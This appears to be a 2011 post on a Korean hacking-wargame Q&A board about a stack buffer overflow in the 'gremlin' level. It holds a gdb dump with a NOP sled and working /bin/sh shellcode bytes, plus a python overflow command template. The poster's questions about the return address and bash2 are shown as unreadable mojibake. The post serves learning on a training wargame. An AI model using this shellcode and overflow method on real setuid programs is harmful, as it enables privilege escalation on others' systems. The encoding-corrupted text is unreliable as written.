http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&no=3211 [º¹»ç]
_____[gdb stack]_____________________________________________________________________
....
0xbffffa08: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa18: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa28: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa38: 0x90909090 0x90909090 0xcd58316a 0x89c38980
(gdb)
0xbffffa48: 0x58466ac1 0x685080cd 0x68732f2f 0x69622f68
0xbffffa58: 0x50e3896e 0x99e18953 0x80cd0bb0 0x90909090
0xbffffa68: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffffa78: 0x90909090 0x4000f9a8 0x00000002 0xbffffac4
...
(gdb) i reg ebp
ebp 0xbffffa78 -1073743240
_______________________________________________________________________________________
Áú¹® 1) ./gremlin $(python -c 'print "[NOP]"*200 + "[SCHELLCODE]" + "[NOP]*24 + "[RET]"
¿Í °°ÀÌ 260 + [RET] ÁÖ¼Ò·Î ºÐ¸í µ¤¾ú½À´Ï´Ù.
F.T.Z¿¡¼ Àß µ¤ÇôÁ³´ø RETÁÖ¼Ò°¡ ¿Ö LOB¿¡¼ 0X4000F9A8·Î ¾ÕºñÆ®°¡ ¾Èµ¤Çô Áö´ÂÁö ¸ð¸£°Ú³×¿ä.
- ±ÛÀ» ã¾Æº¸°í "export LANG=C"µµ Çغ¸¾ÒÁö¸¸ ¼Ò¿ëÀÌ ¾ø½À´Ï´Ù.
Áú¹® 2) ÀÚ²Ù Segmentation fault °¡ ³ª±æ·¡ ã¾Æº¸´Ï "bash2"¸¦ ¾²¶ó´õ±º¿ä.
ºÐ¸í bash2¸¦ ¾²¸é µË´Ï´Ù. ±Ùµ¥ ±× ÀÌÀ¯¿¡ ´ëÇÏ¿© ¸ð¸£°Ú³×¿ä
À§¿¡¼ ó·³ ¶È°°ÀÌ gdb¿¡¼ retÁÖ¼Ò°¡ ¾Èµ¤Çô º¸ÀÌ°í.... ´Þ¶óÁøÁ¡À» ¸ð¸£°Ú´Âµ¥... F.T.Z¿¡¼ bash2¸¦ ¾È½áµµ À߉ç´ø°ÍÀÌ ¿Ö.... "bash2"¸¦ ½á¾ß ±úÁö´ÂÁö ÀÌÀ¯¸¦ ¾Ë°í½Í½À´Ï´Ù.
|
Hit : 3645 Date : 2011/05/23 04:43
|